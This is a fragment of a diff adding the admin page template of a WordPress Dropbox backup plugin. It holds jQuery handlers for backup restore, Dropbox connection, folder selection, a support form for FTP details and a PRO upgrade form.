|
331 |
+
{
|
332 |
+
if (process_flag == 1) {
|
333 |
+
if ( (typeof t) == 'undefined') {
|
334 |
+
t = 1;
|
335 |
+
} else {
|
336 |
+
t = t + 1;
|
337 |
+
}
|
338 |
+
time = t + " <?php langWPADM::get('sec.'); ?>";
|
339 |
+
jQuery("#time_backup").html(time);
|
340 |
+
setTimeout(function() { showTime(t) }, 1000);
|
341 |
+
}
|
342 |
+
}
|
343 |
+
function processStop()
|
344 |
+
{
|
345 |
+
process_flag = 0;
|
346 |
+
}
|
347 |
+
function delete_backup(backup, type)
|
348 |
+
{
|
349 |
+
document.delete_backups.backup_name.value = backup;
|
350 |
+
document.delete_backups.backup_type.value = type;
|
351 |
+
document.delete_backups.submit();
|
352 |
+
}
|
353 |
+
function create_backup (type) {
|
354 |
+
if (type == 'auth') {
|
355 |
+
document.form_auth_backup_create.submit();
|
356 |
+
}
|
357 |
+
}
|
358 |
+
function show_recovery_form(type, name)
|
359 |
+
{
|
360 |
+
var act = '';
|
361 |
+
if (confirm("<?php langWPADM::get('Are you sure you want to start the recovery process?')?>")) {
|
362 |
+
if (type == 'local') {
|
363 |
+
act = 'wpadm_local_restore';
|
364 |
+
} else {
|
365 |
+
act = 'wpadm_restore_dropbox';
|
366 |
+
}
|
367 |
+
var data_backup = {
|
368 |
+
'action': act,
|
369 |
+
'name': name,
|
370 |
+
};
|
371 |
+
jQuery("#log-backup").html('');
|
372 |
+
jQuery("#action-buttons").css('margin-top', '8px');
|
373 |
+
<?php if(!$stars5) { ?>
|
374 |
+
jQuery("#support-button").css('margin-top', '132px');
|
375 |
+
<?php } else { ?>
|
376 |
+
jQuery("#support-button").css('margin-top', '8px');
|
377 |
+
<?php } ?>
|
378 |
+
jQuery(".title-logs").css('display', 'block');
|
379 |
+
jQuery(".title-status").css('display', 'none');
|
380 |
+
jQuery("#logs-form").show("slow");
|
381 |
+
jQuery("#action-buttons").css('margin-top', '8px');
|
382 |
+
jQuery.ajax({
|
383 |
+
type: "POST",
|
384 |
+
url: ajaxurl,
|
385 |
+
data: data_backup,
|
386 |
+
beforeSend: function(){
|
387 |
+
process_flag = 1
|
388 |
+
processBar();
|
389 |
+
showTime();
|
390 |
+
|
391 |
+
},
|
392 |
+
success: function(data){
|
393 |
+
process_flag = 0;
|
394 |
+
if (data.result == 'success') {
|
395 |
+
jQuery('.title-logs').css('display', 'none');
|
396 |
+
jQuery('.title-status').css({'display':'block', 'color':'green'});
|
397 |
+
if (type == 'local') {
|
398 |
+
str = '<?php langWPADM::get('Local Backup (%s) was restored successfully'); ?>';
|
399 |
+
str = str.replace('%s', name);
|
400 |
+
jQuery('.title-status').html(str);
|
401 |
+
} else {
|
402 |
+
str = '<?php langWPADM::get('Dropbox Backup (%s) was restored successfully'); ?>';
|
403 |
+
str = str.replace('%s', name);
|
404 |
+
jQuery('.title-status').html(str);
|
405 |
+
}
|
406 |
+
} else {
|
407 |
+
jQuery('.title-logs').css('display', 'none');
|
408 |
+
jQuery('.title-status').css({'display':'block', 'color':'red'});
|
409 |
+
if (type == 'local') {
|
410 |
+
str = "<?php langWPADM::get('Local Backup (%s) wasn\'t restored'); ?>";
|
411 |
+
str = str.replace("%s", name) ;
|
412 |
+
jQuery('.title-status').html(str);
|
413 |
+
} else {
|
414 |
+
str = "<?php langWPADM::get('Dropbox Backup (%s) wasn\'t restored'); ?>";
|
415 |
+
str = str.replace('%s', name);
|
416 |
+
jQuery('.title-status').html(str);
|
417 |
+
}
|
418 |
+
}
|
419 |
+
},
|
420 |
+
error: function(jqXHR, textStatus, errorThrown) {
|
421 |
+
processStop();
|
422 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
423 |
+
},
|
424 |
+
dataType: 'json'
|
425 |
+
});
|
426 |
+
}
|
427 |
+
|
428 |
+
}
|
429 |
+
function auth_form(t)
|
430 |
+
{
|
431 |
+
var button = jQuery(t);
|
432 |
+
var form = button.closest('form');
|
433 |
+
var data = {};
|
434 |
+
|
435 |
+
var reg = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,6})+$/;
|
436 |
+
mail = document.auth.username.value;
|
437 |
+
send = false;
|
438 |
+
if (!reg.test(mail)) {
|
439 |
+
document.auth.username.style.border = "2px solid red";
|
440 |
+
} else {
|
441 |
+
document.auth.username.style.border = "1px solid #5b9dd9";
|
442 |
+
if(document.auth.password.value.length == 0) {
|
443 |
+
document.auth.password.style.border = "2px solid red";
|
444 |
+
} else {
|
445 |
+
send = true;
|
446 |
+
document.auth.password.style.border = "1px solid #5b9dd9";
|
447 |
+
}
|
448 |
+
}
|
449 |
+
if(send) {
|
450 |
+
form.find('#message-form').css('display', 'none');
|
451 |
+
data['password'] = document.auth.password.value;
|
452 |
+
data['username'] = document.auth.username.value;
|
453 |
+
data['plugin'] = document.auth.plugin.value;
|
454 |
+
backup = jQuery("#name_backup_restore").val();
|
455 |
+
jQuery.ajax({
|
456 |
+
url: form.attr('action'),
|
457 |
+
data: data,
|
458 |
+
type: 'POST',
|
459 |
+
dataType: 'json',
|
460 |
+
success: function(data_res) {
|
461 |
+
if( !data_res){
|
462 |
+
alert('error');
|
463 |
+
} else if(data_res.error) {
|
464 |
+
if(form.find('#message-form').length) {
|
465 |
+
form.find('#message-form').html("");
|
466 |
+
form.find('#message-form').css('display', 'block');
|
467 |
+
form.find('#message-form').css('margin', '0');
|
468 |
+
form.find('#message-form').css('margin-top', '6px');
|
469 |
+
form.find('#message-form').html(data_res.error);
|
470 |
+
}
|
471 |
+
} else if(data_res.url) {
|
472 |
+
|
473 |
+
jQuery.ajax({
|
474 |
+
url: ajaxurl,
|
475 |
+
data: {'action' : 'set_user_mail', 'email' : document.auth.username.value},
|
476 |
+
type: 'POST',
|
477 |
+
dataType: 'json',
|
478 |
+
success: function(res) {
|
479 |
+
|
480 |
+
}
|
481 |
+
});
|
482 |
+
form.attr('action', data_res.url);
|
483 |
+
document.auth.submit();
|
484 |
+
//location.reload();
|
485 |
+
}
|
486 |
+
},
|
487 |
+
error: function ( jqXHR, textStatus, errorThrown ) {
|
488 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
489 |
+
}
|
490 |
+
|
491 |
+
});
|
492 |
+
}
|
493 |
+
}
|
494 |
+
function disconnectDropbox()
|
495 |
+
{
|
496 |
+
var form = jQuery('form#dropbox_form');
|
497 |
+
form.find('#oauth_token_secret').val('');
|
498 |
+
form.find('#oauth_token').val('');
|
499 |
+
form.find('#uid').val('');
|
500 |
+
form.find('#dropbox_uid_text').text('');
|
501 |
+
form.find('.disconnect_btn').parents('.form_block_input').removeClass('connected');
|
502 |
+
}
|
503 |
+
|
504 |
+
var winParams = "left=0,top=0,height=600,width=1000,menubar=no,location=no,resizable=yes,scrollbars=yes,status=yes,toolbar=no,directories=no"
|
505 |
+
var dropboxBut, dropboxWin;
|
506 |
+
function connectDropbox(button, href, oauth_token_secret, oauth_token, uid){
|
507 |
+
if( button && href ){
|
508 |
+
dropboxBut = jQuery(button);
|
509 |
+
var form = dropboxBut.parents('form');
|
510 |
+
var url = href;
|
511 |
+
|
512 |
+
// if (jQuery.trim(jQuery('#app_key').val()) != '' || jQuery.trim(jQuery('#app_secret').val()) != '') {
|
513 |
+
url += '&app_key='+jQuery('#app_key').val();
|
514 |
+
url += '&app_secret='+jQuery('#app_secret').val();
|
515 |
+
// }
|
516 |
+
|
517 |
+
dropboxWin = window.open(url, "Dropbox", winParams);
|
518 |
+
if( dropboxWin ){
|
519 |
+
dropboxWin.focus();
|
520 |
+
}else{
|
521 |
+
alert('<?php langWPADM::get('Please, permit the pop-up windows.'); ?>');
|
522 |
+
}
|
523 |
+
}else{
|
524 |
+
var form = dropboxBut.parents('form');
|
525 |
+
if( dropboxWin ){
|
526 |
+
dropboxWin.close();
|
527 |
+
}
|
528 |
+
form.find('#oauth_token_secret').val(oauth_token_secret);
|
529 |
+
form.find('#oauth_token').val(oauth_token);
|
530 |
+
form.find('#uid').val(uid);
|
531 |
+
auth_param = false;
|
532 |
+
form.find('#dropbox_uid_text').html('<?php echo langWPADM::get('Dropbox successfully connected:', false)?> UID ' + uid);
|
533 |
+
blick_form = false;
|
534 |
+
dropboxBut.parents('.form_block_input').addClass('connected');
|
535 |
+
}
|
536 |
+
}
|
537 |
+
function getHelperDropbox()
|
538 |
+
{
|
539 |
+
jQuery('#helper-keys').arcticmodal({
|
540 |
+
beforeOpen: function(data, el) {
|
541 |
+
jQuery('#helper-keys').css('display','block');
|
542 |
+
},
|
543 |
+
afterClose: function(data, el) {
|
544 |
+
jQuery('#helper-keys').css('display','none');
|
545 |
+
}
|
546 |
+
});
|
547 |
+
}
|
548 |
+
|
549 |
+
function setReadOnly(id)
|
550 |
+
{
|
551 |
+
r = jQuery('#' + id).attr('readonly');
|
552 |
+
if (r == 'readonly') {
|
553 |
+
jQuery('#' + id).prop('readonly', false);
|
554 |
+
} else {
|
555 |
+
jQuery('#' + id).prop('readonly', true);
|
556 |
+
|
557 |
+
}
|
558 |
+
}
|
559 |
+
function InludesSetting()
|
560 |
+
{
|
561 |
+
disp = jQuery('#inludes-setting').css('display');
|
562 |
+
if (disp == 'none') {
|
563 |
+
showLoadingImg(true);
|
564 |
+
getIncludesData();
|
565 |
+
jQuery('#inludes-setting').show("slow");
|
566 |
+
} else {
|
567 |
+
jQuery('.show-includes').html("");
|
568 |
+
jQuery('#inludes-setting').hide("slow");
|
569 |
+
}
|
570 |
+
}
|
571 |
+
var level_tree = {};
|
572 |
+
function getIncludesData(type, dir_)
|
573 |
+
{
|
574 |
+
data = {'action' : 'getDirsIncludes'};
|
575 |
+
if (type != 'undefined') {
|
576 |
+
data['files'] = type
|
577 |
+
}
|
578 |
+
if ( ( typeof dir_ ) != 'undefined') {
|
579 |
+
data['path'] = dir_.path;
|
580 |
+
}
|
581 |
+
jQuery.ajax({
|
582 |
+
url: ajaxurl,
|
583 |
+
data: data,
|
584 |
+
type: 'POST',
|
585 |
+
dataType: 'json',
|
586 |
+
success: function(data_res) {
|
587 |
+
showLoadingImg(false);
|
588 |
+
if ((typeof dir_) != 'undefined') {
|
589 |
+
jQuery('#img_load_' + dir_.cache).css('display', 'none');
|
590 |
+
}
|
591 |
+
if (data.path) {
|
592 |
+
showIncludesData(data_res.dir, dir_.id);
|
593 |
+
} else {
|
594 |
+
if (data_res.dir) {
|
595 |
+
showIncludesData(data_res.dir);
|
596 |
+
}
|
597 |
+
}
|
598 |
+
level_tree[level_tree.length] = data_res.dir;
|
599 |
+
},
|
600 |
+
error: function(jqXHR, textStatus, errorThrown) {
|
601 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
602 |
+
}
|
603 |
+
});
|
604 |
+
}
|
605 |
+
function loadInludes(path, cache, t, lvl)
|
606 |
+
{
|
607 |
+
if (t.checked) {
|
608 |
+
showLoadingImg(true);
|
609 |
+
jQuery('#include_' + cache).html('');
|
610 |
+
jQuery('#img_load_' + cache).css({'display':'inline'});
|
611 |
+
getIncludesData('undefined', {'path' : path, 'id' : 'include_' + cache, 'cache' : cache });
|
612 |
+
jQuery('#include_' + cache).show('slow');
|
613 |
+
} else {
|
614 |
+
in_id = jQuery(t).attr('id')
|
615 |
+
if (jQuery('#include_' + in_id).length > 0) {
|
616 |
+
jQuery('#include_' + in_id).hide('slow');
|
617 |
+
}
|
618 |
+
}
|
619 |
+
}
|
620 |
+
function showIncludesData(data, id)
|
621 |
+
{
|
622 |
+
html = "";
|
623 |
+
if ( ( typeof data ) != 'undefined' ) {
|
624 |
+
if (data.length > 0) {
|
625 |
+
for(i = 0; i < data.length; i++) {
|
626 |
+
if (data[i].check) {
|
627 |
+
check = 'checked="checked"' ;
|
628 |
+
send_checked[send_checked.length] = data[i].check_folder;
|
629 |
+
} else {
|
630 |
+
check = '';
|
631 |
+
}
|
632 |
+
html += '<div id="inc_' + data[i].cache + '" data-value="' + data[i].cache + '">' +
|
633 |
+
'<input type="checkbox" ' + check + ' class="checkbox-send" value="' + data[i].folder + '" name="folder-include" id="send-to-' + data[i].cache + '" onclick="connectFolder(this)" />' +
|
634 |
+
'<input type="checkbox" class="input-folder" value="/' + data[i].dir + '" id="' + data[i].cache + '" onclick="loadInludes(\'/' + data[i].folder + '\', \'' + data[i].cache +'\', this, \'' + level_tree.length + '\')" />' +
|
635 |
+
'<label for="' + data[i].cache + '">' + data[i].dir + ' <span style="font-size:10px;">(' + data[i].perm + ')</span>' + '</label>' +
|
636 |
+
'<div id="img_load_' + data[i].cache + '" style="display:none; margin-left:10px;position:relative;">' +
|
637 |
+
'<img style="position:absolute;bottom:0;" src="<?php echo plugins_url('/img/folder-loader.gif', dirname(__FILE__) ); ?>" alt="load" title="load" >' +
|
638 |
+
'</div>'+
|
639 |
+
'<div class="tree-includes" id="include_' + data[i].cache + '">' +
|
640 |
+
'</div>' +
|
641 |
+
'</div>';
|
642 |
+
}
|
643 |
+
if (jQuery("#" + id).length > 0) {
|
644 |
+
jQuery("#" + id).html(html);
|
645 |
+
} else {
|
646 |
+
jQuery('.show-includes').html(html);
|
647 |
+
}
|
648 |
+
}
|
649 |
+
}
|
650 |
+
}
|
651 |
+
|
652 |
+
function saveIncludes()
|
653 |
+
{
|
654 |
+
data = {'action' : 'saveDirsIncludes', 'save' : 1, 'data' : send_checked}
|
655 |
+
if (send_checked.length > 0) {
|
656 |
+
showLoadingImg(true);
|
657 |
+
jQuery.ajax({
|
658 |
+
url: ajaxurl,
|
659 |
+
data: data,
|
660 |
+
type: 'POST',
|
661 |
+
dataType: 'json',
|
662 |
+
success: function(data_res) {
|
663 |
+
showLoadingImg(false);
|
664 |
+
|
665 |
+
},
|
666 |
+
error: function (jqXHR, textStatus, errorThrown) {
|
667 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
668 |
+
}
|
669 |
+
});
|
670 |
+
}
|
671 |
+
}
|
672 |
+
function saveSetting(id)
|
673 |
+
{
|
674 |
+
if (jQuery('#' + id).length > 0) {
|
675 |
+
is_value = 0;
|
676 |
+
if(document.getElementById(id).checked) {
|
677 |
+
is_value = 1;
|
678 |
+
}
|
679 |
+
|
680 |
+
data = {'action' : 'saveSetting'}
|
681 |
+
data[id] = is_value;
|
682 |
+
jQuery.ajax({
|
683 |
+
url: ajaxurl,
|
684 |
+
data: data,
|
685 |
+
type: 'POST',
|
686 |
+
dataType: 'json',
|
687 |
+
success: function(data_res) {
|
688 |
+
},
|
689 |
+
error: function( jqXHR, textStatus, errorThrown ){
|
690 |
+
AjaxAlert(jqXHR, textStatus, errorThrown);
|
691 |
+
}
|
692 |
+
});
|
693 |
+
}
|
694 |
+
}
|
695 |
+
var app_key = app_secret = '';
|
696 |
+
function showApp()
|
697 |
+
{
|
698 |
+
disp = jQuery('#dropbox-app-key').css('display');
|
699 |
+
if (disp == 'none') {
|
700 |
+
jQuery('#dropbox-app-key').show('slow');
|
701 |
+
jQuery('#help-key-pass').show('slow');
|
702 |
+
jQuery('#dropbox-app-secret').show('slow');
|
703 |
+
jQuery('#app_secret').val(app_secret);
|
704 |
+
jQuery('#app_key').val(app_key);
|
705 |
+
jQuery('.stat-table-registr').css('margin-bottom', '25px');
|
706 |
+
} else {
|
707 |
+
jQuery('#dropbox-app-key').hide('slow');
|
708 |
+
jQuery('#help-key-pass').hide('slow');
|
709 |
+
jQuery('#dropbox-app-secret').hide('slow');
|
710 |
+
app_key = jQuery('#app_key').val();
|
711 |
+
app_secret = jQuery('#app_secret').val()
|
712 |
+
jQuery('#app_secret').val('');
|
713 |
+
jQuery('#app_key').val('');
|
714 |
+
jQuery('.stat-table-registr').css('margin-bottom', '0px');
|
715 |
+
}
|
716 |
+
}
|
717 |
+
function showFormAjax()
|
718 |
+
{
|
719 |
+
//form-ajax-ftp-email
|
720 |
+
disp = jQuery('#form-ajax-ftp-email').css('display');
|
721 |
+
if (disp == 'none') {
|
722 |
+
jQuery('#form-ajax-ftp-email').show('slow');
|
723 |
+
} else {
|
724 |
+
jQuery('#form-ajax-ftp-email').hide('slow');
|
725 |
+
}
|
726 |
+
}
|
727 |
+
</script>
|
728 |
+
<?php if (!empty($error)) {
|
729 |
+
echo '<div class="error" style="text-align: center; color: red; font-weight:bold;">
|
730 |
+
<p style="font-size: 16px;">
|
731 |
+
' . $error . '
|
732 |
+
</p></div>';
|
733 |
+
}?>
|
734 |
+
<?php if (!empty($msg)) {
|
735 |
+
echo '<div class="updated" style="text-align: center; font-weight:bold;">
|
736 |
+
<p style="font-size: 16px;">
|
737 |
+
' . $msg . '
|
738 |
+
</p></div>';
|
739 |
+
}?>
|
740 |
+
<div id="is-dropbox-auth" style="display: none; width: 380px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
|
741 |
+
<div class="title-description" style="font-size: 20px; text-align: center;padding-top:45px; line-height: 30px;">
|
742 |
+
<?php langWPADM::get('Please, add your Dropbox credentials:'); ?><br />
|
743 |
+
<strong><?php langWPADM::get('"App key"'); ?></strong> & <strong><?php langWPADM::get('"App secret"'); ?></strong> <br />
|
744 |
+
<?php langWPADM::get('in the Setting Form'); ?>
|
745 |
+
</div>
|
746 |
+
<div class="button-description" style="padding:20px 0;padding-top:45px">
|
747 |
+
<input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#is-dropbox-auth').arcticmodal('close');" style="text-align: center; width: 100px;" class="button-wpadm">
|
748 |
+
</div>
|
749 |
+
</div>
|
750 |
+
<?php
|
751 |
+
if (isset($sent_response)) {
|
752 |
+
?>
|
753 |
+
<script>
|
754 |
+
jQuery(document).ready(function() {
|
755 |
+
jQuery('#sent-error-report').arcticmodal({
|
756 |
+
beforeOpen: function(data, el) {
|
757 |
+
jQuery('#sent-error-report').css('display','block');
|
758 |
+
},
|
759 |
+
afterClose: function(data, el) {
|
760 |
+
jQuery('#sent-error-report').css('display','none');
|
761 |
+
}
|
762 |
+
});
|
763 |
+
})
|
764 |
+
</script>
|
765 |
+
<div id="sent-error-report" style="display: none;" >
|
766 |
+
<div class="text-view">
|
767 |
+
<?php echo $sent_response ;?>
|
768 |
+
</div>
|
769 |
+
<div class="button-sent-report">
|
770 |
+
<input type="button" class="button-wpadm" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#sent-error-report').arcticmodal('close')" />
|
771 |
+
</div>
|
772 |
+
</div>
|
773 |
+
<?php
|
774 |
+
}
|
775 |
+
?>
|
776 |
+
<div id="ajax-alert" style="display: none;width: 800px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
|
777 |
+
<div id="ajax-message" style="font-size: 15px; margin-top: 10px; margin-bottom: 30px;"></div>
|
778 |
+
<div style="font-size: 15px; margin-bottom: 30px;"><?php langWPADM::get('To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, <br />that you tried to create or simply send to us your FTP access data.');?></div>
|
779 |
+
|
780 |
+
<form action="<?php echo admin_url( 'admin-post.php?action=error_logs_check' )?>" method="post" style=" text-align: left; margin-left:110px;margin-bottom:20px;">
|
781 |
+
<div style="margin-top: 10px; font-size: 16px; font-weight: bold; margin-bottom: 10px;">
|
782 |
+
<input type="checkbox" onclick="showFormAjax();" style="margin: 0;" id="show-form-ajax" /> <label for="show-form-ajax"><?php langWPADM::get('I want to provide your FTP access to resolve this issue quickly:');?></label>
|
783 |
+
</div>
|
784 |
+
<div id="form-ajax-ftp-email" style="display: none;">
|
785 |
+
<div class="form-help-send-error" >
|
786 |
+
<div style="margin-top: 3px;">
|
787 |
+
<div class="label-help" style="">
|
788 |
+
<label for="ftp-host"><?php langWPADM::get('FTP Host'); ?></label>
|
789 |
+
</div>
|
790 |
+
<div style="float:left; ">
|
791 |
+
<input type="text" id="ftp-host" value="<?php echo str_ireplace(array('http://', 'https://'), '', home_url()) ;?>" name="ftp_host" >
|
792 |
+
</div>
|
793 |
+
</div>
|
794 |
+
<div class="clear"></div>
|
795 |
+
<div style="margin-top: 3px;">
|
796 |
+
<div class="label-help" >
|
797 |
+
<label for="ftp-user"><?php langWPADM::get('FTP User'); ?></label>
|
798 |
+
</div>
|
799 |
+
<div style="float:left; ">
|
800 |
+
<input type="text" id="ftp-user" value="" name="ftp_user">
|
801 |
+
</div>
|
802 |
+
</div>
|
803 |
+
<div class="clear"></div>
|
804 |
+
<div style="margin-top: 3px;">
|
805 |
+
<div class="label-help" >
|
806 |
+
<label for="ftp-pass"><?php langWPADM::get('FTP Password'); ?></label>
|
807 |
+
</div>
|
808 |
+
<div style="float:left; ">
|
809 |
+
<input type="text" id="ftp-pass" value="" name="ftp_pass">
|
810 |
+
</div>
|
811 |
+
</div>
|
812 |
+
<div class="clear"></div>
|
813 |
+
|
814 |
+
</div>
|
815 |
+
<div class="form-help-mail-response">
|
816 |
+
<div style="padding: 20px; border:1px solid #fff; margin-top: 3px;">
|
817 |
+
<div class="label-help" >
|
818 |
+
<label for="email-resp"><?php langWPADM::get('Response Email:'); ?></label>
|
819 |
+
</div>
|
820 |
+
<div style=" ">
|
821 |
+
<input type="text" id="email-resp" value="<?php echo get_option('admin_email');?>" style="padding-left:3px;" name="mail_response">
|
822 |
+
</div>
|
823 |
+
</div>
|
824 |
+
</div>
|
825 |
+
</div>
|
826 |
+
<div class="clear"></div>
|
827 |
+
<div style="text-align: left; margin-left: 100px; margin-top: 10px;">
|
828 |
+
<input value="<?php echo $time_log; ?>" type="hidden" name="time_pars">
|
829 |
+
<input value="" type="hidden" name="msg_ajax" id="msg_ajax">
|
830 |
+
</div>
|
831 |
+
<div class="ajax-button" style="margin-bottom: 10px;">
|
832 |
+
<input type="submit" class="button-wpadm" value="<?php langWPADM::get('SEND TO SUPPORT and close this window'); ?>" />
|
833 |
+
<input type="button" class="button-wpadm" onclick="jQuery('#ajax-message').arcticmodal('close')" value="<?php langWPADM::get('Close this window WITHOUT SENDING TO SUPPORT'); ?>" />
|
834 |
+
</div>
|
835 |
+
</form>
|
836 |
+
</div>
|
837 |
+
<div id="helper-keys" style="display: none;width: 400px; text-align: center; background: #fff; border: 2px solid #dde4ff; border-radius: 5px;">
|
838 |
+
<div class="title-description" style="font-size: 20px; text-align: center;padding-top:20px; line-height: 30px;">
|
839 |
+
<?php langWPADM::get('Where can I find my app key and secret?'); ?>
|
840 |
+
</div>
|
841 |
+
<div class="button-description" style="padding:20px 10px;padding-top:20px; text-align: left;">
|
842 |
+
<?php langWPADM::get('You can get an API app key and secret by creating an app on the'); ?>
|
843 |
+
<a href="https://www.dropbox.com/developers/apps/create?app_type_checked=api" target="_blank"><?php langWPADM::get('app creation page'); ?></a>.
|
844 |
+
<?php langWPADM::get('Once you have an app created, the app key and secret will be available on the app\'s page on the'); ?>
|
845 |
+
<a href="https://www.dropbox.com/developers/apps" target="_blank"><?php langWPADM::get('App Console'); ?></a>
|
846 |
+
. <?php langWPADM::get('Note that Drop-ins have app keys but no app secrets.'); ?>
|
847 |
+
</div>
|
848 |
+
<div class="button-description" style="padding:20px 0;padding-top:10px">
|
849 |
+
<input type="button" value="<?php langWPADM::get('OK'); ?>" onclick="jQuery('#helper-keys').arcticmodal('close');" style="text-align: center; width: 100px;" class="button-wpadm">
|
850 |
+
</div>
|
851 |
+
</div>
|
852 |
+
<!-- <a href="#" onclick="stopBackup();">Stop backup</a> -->
|
853 |
+
<div class="block-content" style="margin-top:20px;">
|
854 |
+
<div class="inline" style="width: 60%">
|
855 |
+
<span style="font-size:16px;">
|
856 |
+
<?php langWPADM::get('Use Professional version of "Dropbox backup and restore" plugin and get:') ; ?>
|
857 |
+
</span>
|
858 |
+
<ul class="list-dropbox-backup-pro">
|
859 |
+
<li><img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
|
860 |
+
<span class="text">
|
861 |
+
<?php langWPADM::get('Automated Dropbox backup (Scheduled backup tasks)') ; ?>
|
862 |
+
</span>
|
863 |
+
</li>
|
864 |
+
<li>
|
865 |
+
<img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
|
866 |
+
<span class="text">
|
867 |
+
<?php langWPADM::get('Automated Local backup (Scheduled backup tasks)') ; ?>
|
868 |
+
</span>
|
869 |
+
</li>
|
870 |
+
<li>
|
871 |
+
<img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
|
872 |
+
<span class="text">
|
873 |
+
<?php langWPADM::get('Backup Status E-Mail Reporting') ; ?>
|
874 |
+
</span>
|
875 |
+
</li>
|
876 |
+
<li>
|
877 |
+
<img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
|
878 |
+
<span class="text">
|
879 |
+
<?php langWPADM::get('Online Service "Backup Website Manager" (Copy, Clone or Migrate of websites)') ; ?>
|
880 |
+
</span>
|
881 |
+
</li>
|
882 |
+
<li>
|
883 |
+
<img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
|
884 |
+
<span class="text">
|
885 |
+
<?php langWPADM::get('One Year Free Updates for PRO version') ; ?>
|
886 |
+
</span>
|
887 |
+
</li>
|
888 |
+
<li>
|
889 |
+
<img src="<?php echo plugins_url('/template/ok-icon.png', dirname(__FILE__));?>" title="" alt="" />
|
890 |
+
<span class="text">
|
891 |
+
<?php langWPADM::get('One Year Priority support') ; ?>
|
892 |
+
</span>
|
893 |
+
</li>
|
894 |
+
</ul>
|
895 |
+
</div>
|
896 |
+
<div class="inline-right" style="margin-top: 0;">
|
897 |
+
<div class="image-dropbox-pro" onclick="document.dropbox_pro_form.submit();">
|
898 |
+
<img src="<?php echo plugins_url('/template/dropbox_pro_logo_box1.png', dirname(__FILE__));?>" title="<?php langWPADM::get('Get PRO version');?>" alt="<?php langWPADM::get('Get PRO version'); ?>">
|
899 |
+
</div>
|
900 |
+
<div style="margin-top:26%; float: left; margin-left: 20px; margin-right: 15px;">
|
901 |
+
<form action="<?php echo WPADM_URL_PRO_VERSION; ?>api/" method="post" id="dropbox_pro_form" name="dropbox_pro_form" >
|
902 |
+
<input type="hidden" value="<?php echo home_url();?>" name="site">
|
903 |
+
<input type="hidden" value="<?php echo 'proBackupPay'?>" name="actApi">
|
904 |
+
<input type="hidden" value="<?php echo get_option('admin_email');?>" name="email">
|
905 |
+
<input type="hidden" value="<?php echo 'dropbox-backup';?>" name="plugin">
|
906 |
+
<input type="hidden" value="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox&pay=success"); ?>" name="success_url">
|
907 |
+
<input type="hidden" value="<?php echo admin_url("admin.php?page=wpadm_wp_full_backup_dropbox&pay=cancel"); ?>" name="cancel_url">
|
908 |
+
<input type="submit" class="backup_button" value="<?php langWPADM::get('Get PRO');?>">
|
909 |
+
</form>
|
910 |
+
</div>
|
911 |
+
</div>
|
912 |
+
|
913 |
+
<div class="clear"></div>
|
914 |
+
</div>
|
915 |
+
<div class="block-content" style="margin-top:2px;">
|
916 |
+
<div style="min-height : 215px; padding: 5px; padding-top: 10px;">
|
917 |
+
<div class="log-dropbox" style="background-image: url(<?php echo plugins_url('/img/dropbox.png', dirname(__FILE__));?>);">
|
918 |
+
</div>
|
919 |
+
<div style="float: bottom; font-size: 40px; font-weight: bold; text-shadow: 1px 2px 2px #666; margin-left: 189px; line-height: 42px; margin-top: -12px;">
|
920 |
+
<?php langWPADM::get('Dropbox Full Backup');?>
|
921 |
+
<span style="font-size: 20px;"><?php langWPADM::get('(files+database)');?></span>
|
922 |
+
|
923 |
+
<span style="font-size: 11px;">
|
924 |
+
<?php echo (isset($plugin_data[0]['Version']) ? 'Version ' . $plugin_data[0]['Version'] : '')?>
|
925 |
+
</span>
|
926 |
+
|
927 |
+
</div>
|
928 |
+
<?php if ($show) {?>
|
929 |
+
<div id="container-user" class="cfTabsContainer" style="width: 48%; padding-bottom: 0px; padding-top: 0px; float: left; margin-left: 20px;">
|
930 |
+
<div class="stat-wpadm-info-title" id="title-regisr" style="padding :20px 0px; margin-top:11px; line-height: 25px;">
|
931 |
+
<?php langWPADM::get('Free Sign Up'); ?> <br /><?php langWPADM::get('to backup more than one website...'); ?>
|
932 |
+
</div>
|
933 |
+
<div id="cf_activate" class="cfContentContainer" style="display: none;">
|
934 |
+
<form method="post" id="dropbox_form" action="<?php echo admin_url( 'admin-post.php?action=wpadm_activate_plugin' )?>" >
|
935 |
+
<div class="stat-wpadm-registr-info" style="margin-bottom: 40px; margin-top: 17px;">
|
936 |
+
<table class="form-table stat-table-registr" style="">
|
937 |
+
<tbody>
|
938 |
+
<tr valign="top">
|
939 |
+
<th scope="row">
|
940 |
+
<label for="email"><?php langWPADM::get('E-mail'); ?></label>
|
941 |
+
</th>
|
942 |
+
<td>
|
943 |
+
<input id="email" class="" type="text" name="email" value="">
|
944 |
+
</td>
|
945 |
+
</tr>
|
946 |
+
<tr valign="top">
|
947 |
+
<th scope="row">
|
948 |
+
<label for="password"><?php langWPADM::get('Password'); ?></label>
|
949 |
+
</th>
|
950 |
+
<td>
|
951 |
+
<input id="password" class="" type="password" name="password" value="">
|
952 |
+
</td>
|
953 |
+
</tr>
|
954 |
+
<tr valign="top">
|
955 |
+
<th scope="row">
|
956 |
+
<label for="password-confirm"><?php langWPADM::get('Password confirm'); ?></label>
|
957 |
+
</th>
|
958 |
+
<td>
|
959 |
+
<input id="password-confirm" class="" type="password" name="password-confirm" value="">
|
960 |
+
</td>
|
961 |
+
</tr>
|
962 |
+
<tr valign="top">
|
963 |
+
<th scope="row">
|
964 |
+
</th>
|
965 |
+
<td>
|
966 |
+
<input class="button-wpadm" type="submit" value="<?php langWPADM::get('Register & Activate'); ?>" name="send">
|
967 |
+
</td>
|
968 |
+
</tr>
|
969 |
+
</tbody>
|
970 |
+
</table>
|
971 |
+
</div>
|
